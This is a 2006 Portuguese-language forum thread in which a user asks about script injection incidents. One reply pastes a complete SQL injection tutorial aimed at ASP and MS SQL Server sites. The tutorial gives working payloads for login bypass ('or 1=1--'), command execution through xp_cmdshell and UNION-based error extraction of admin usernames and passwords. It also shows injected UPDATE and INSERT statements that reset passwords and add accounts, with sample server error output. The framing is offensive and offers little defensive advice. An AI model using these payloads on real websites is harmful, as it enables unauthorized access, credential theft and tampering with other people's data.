Ricardo_PF Postado Novembro 23, 2006 Denunciar Share Postado Novembro 23, 2006 Olá pessoal, alguém saberiame dizer onde posso encontrar casos (relatos, informações, etc) de incidentes envolvendo script injection?Obrigado,Ricardo. Citar Link para o comentário Compartilhar em outros sites More sharing options...
0 JackSSA Postado Novembro 28, 2006 Denunciar Share Postado Novembro 28, 2006 Não é uma coisa tão comum, mais também não tão complicada de se encontrar. Talvez no Google você consiga alguma informação util em sites de Segurança. Citar Link para o comentário Compartilhar em outros sites More sharing options...
0 BShT Postado Novembro 28, 2006 Denunciar Share Postado Novembro 28, 2006 Existem muitos gaps de segurança que são teóricos. Mas este não parece ser um deles, mesmo não sendo comum. Citar Link para o comentário Compartilhar em outros sites More sharing options...
0 gladiador Postado Dezembro 7, 2006 Denunciar Share Postado Dezembro 7, 2006 /* um artigo legal !!!=======================================SQL Injection Advanced sql injection Introdução Nataniel A.K.A < Stinger > stinger@hackermail.com http://www.windefense.hpg.com.br**********...*************** * * * ** * * *--------------------------------------------------------------------------------1 - O que é sql injection ?é um truque para injectar comandos SQL via paginas web , já que qualquer pagina web recebe parametros do usuario e os transmite para o banco de dados . Imaginemos por exemplo uma pagina web escrita em asp que nos peça o username e a password . O que a pagina web vai fazer é enviar o username e a password para o banco de dados e este verificar se é um user ou password validos ! Então porque não inserimos codigos SQL ? OK ! Isto só não é teoria como é possivel ! 2 - O que é preciso ?Qualquer web browser 3 - Onde eu começo ?Tente olhar por paginas que posssuam logins , submits , feedback search etc , enfim essencialmente paginas que possuam codigos asp ! Mas nós sabemos que os codigos em asp são interpretados no server ! ok ! tente olhar para o codigo HTML então . Por exemplo : Vemos aqui codigos delimitados por e que podem ser exploitados 4 - Que linguagens são vulneraveis ? Paginas web com ASP, JSP, CGI, ou PHP , tente por exemplo observar esta pagina http://windefense/index.asp?id=10 5 - Como testar se uma pagina é vulneravel ? Tente começando com um simples truque em um campo que receba parametros ex : username Password coloque :hi' or 1=1-- Podemos testar assim : username: hi' or 1=1-- Password: hi' or 1=1-- Ou com a seguinte URL http://windefense/index.asp?id=hi' or 1=1-- Nós tinhamos visto antes um form vulneravel , ele segue abaixo : Bem podemos fazer umas trocas para nossos intuitos !( Veja o html da pagina alvo e faça alterações e depois salve) http://windefense/Search/search.asp method=post> Se der certo podemos nos logar sem qualquer username ou password ! 6 - Como executar comandos remotos com SQL injection ? Se podemos injectar comandos sql então estamos aptos a correr comandos com boas permissoes , e note que o MS SQLserver corre por default com privilegios de sistema ! ( Equivalente a privilegios de administrador ) Observe por exemplo a seguinte string que nos permite executar comandos no server : master..xp_cmdshell Podemos tentar uma execução de comando : '; exec master..xp_cmdshell 'ping 10.10.1.2'-- Tente usar a cota dupla(") ou a simples(') se não der certo 7 - Caçando dados do banco de dados utilizando ODBC error message Nós podemos manipular os erros ODBC do banco de dados para trazer dados do banco de dados observe por exemplo esta URL normal :http://windefense/index.asp?id=10 nós podemos tentar unir ( UNION ) o valor '10' com outra string do banco de dados , observe : http://windefense/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- A tabela INFORMATION_SCHEMA.TABLES contem informações sobre todas as tabelas do sistema com a string TABLE_NAME podemos receber informações sobre nomes de tabelas no banco de dados . SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES- Retorna o nome da primeira tabela do banco de dados . Se o sql server tenta converter a string UNION para um integer ocorre o erro seguinte : Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][sql Server]Syntax error converting the nvarchar value 'table1' to a column of data type int. /index.asp, line 5 Algo nos interessa aqui . Podemos ver que provocamos um erro e retornamos o nome da 1ª tabela do banco de dados que é "table1" . Para obter o nome da proxima tabela inserimos a seguinte query : http://windefense/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')-- Ou procurar dados com uma query , inserindo um comando sql de comparação (LIKE) : http://windefense/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'-- Onde o output é o seguinte : Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][sql Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. /index.asp, line 5 Neste caso nos retornamos com a string , '%25login%25' na tabela escolhida (TABLE_NAME) , contendo a string "login" que retornou o login do admin que é "admin_login". Podemos mapear tabelas com a seguinte string : INFORMATION_SCHEMA.COLUMNS http://windefense/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'-- Output : Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][sql Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. /index.asp, line 5 Agora nós podemos usar a string NOT IN () para trazer o nome da proxima coluna : http://windefense/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')-- Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][sql Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. /index.asp, line 5 Agora se raciocinarmos um pouco podemos obter outras coisinhas importantes como nomes colunas de id's , passwords , detalhes etc com a seguinte query : http://windefense/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')-- Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][sql Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. /index.asp, line 5 Como retornar dados : Vimos acima que podemos identificar nomes de tabelas , colunas etc . Agora o bom disso é que podemos utilizar a mesma tecnica para retornar dados da mesma , como por exemplo retornar o 1º "login_name" da tabela "admin_login" com a seguinte query : http://windefense/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login-- Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][sql Server]Syntax error converting the nvarchar value 'neo' to a column of data type int. /index.asp, line 5 Já conhecemos o login_name que é "neo" agora precisamos conhecer a password com a sequinte query http://windefense/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'-- Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][sql Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int. /index.asp, line 5 Podemos ver realmente que retornamos aqui uma password "m4trix" para um user "neo" . Como retornar passwords com valor numerico ! Um problema com este tipo de retorno é que valores numericos não podem ser retornado via uma query do tipo : http://windefense/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'-- Se o usuario possui uma password do tipo : "31173" provavelmente teriamos no nosso browser o seguinte : "Page Not Found" Para resolver este problema nos podemos juntar uma string numerica com alguns alfabetos : http://windefense/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'-- Simplesmente usamos o sinal de (+) para juntar a password com qualquer texto que nós queremos (Codigo ASCII para '+' = 0x2b). Nós juntamos com um espaço(%20) a palavra morpheus . E manualmente chamando a função convert() para converter '31173 morpheus' dentro de um integer, o servidor sql retorna o seguinte erro : Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][sql Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int. /index.asp, line 5 Podemos ver que a password "31173" é retornada antes da string "morpheus" Updates , e inserção de dados ! Se podemos retornar dados de uma tabela certamente que podemos updatear(actualizar) e inserir dados dentro do banco de dados : Imaginemos o seguinte cenario podemos trocar usernames , passwords , inserir novos users , novas passwords etc . Tentemos trocar a password para o user "neo" : UPDATE = Comando sql para actualizar dados http://windefense/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'-- Agora o user "neo" tem uma password com o nome "newpas5" INSERT = Comando sql para inserir dados Para inserir dados na database usamos a seguinte query : http://windefense/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')-- Podemos notar aqui novos valores da tabela admin_login como : ('login_id', 'login_name', 'password', 'details') para valores de : 666,'neo2','newpas5','NA' Podemos nos logar como user "neo" e pass "newpas5" conclusão : Este txt não foi nada lá dos melhores mas se termos em conta que ele foi apenas uma introdução já serve como petisco . Links e referencias :rfp - o homem que hackeou o forum da packetstormhttp://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6como obter informações de erros ODBChttp://www.blackhat.com/presentations/win-...1Litchfield.docUm bom sumario de sqlinjection em sql servers http://www.owasp.org/asac/input_validation/sql.shtmlA empresa sul-africana sensepost fala sobre sql injection http://www.sensepost.com/misc/SQLinsertion.htm Citar Link para o comentário Compartilhar em outros sites More sharing options...
Pergunta
Ricardo_PF
Olá pessoal, alguém saberiame dizer onde posso encontrar casos (relatos, informações, etc) de incidentes envolvendo script injection?
Obrigado,
Ricardo.
Link para o comentário
Compartilhar em outros sites
3 respostass a esta questão
Posts Recomendados
Participe da discussão
Você pode postar agora e se registrar depois. Se você já tem uma conta, acesse agora para postar com sua conta.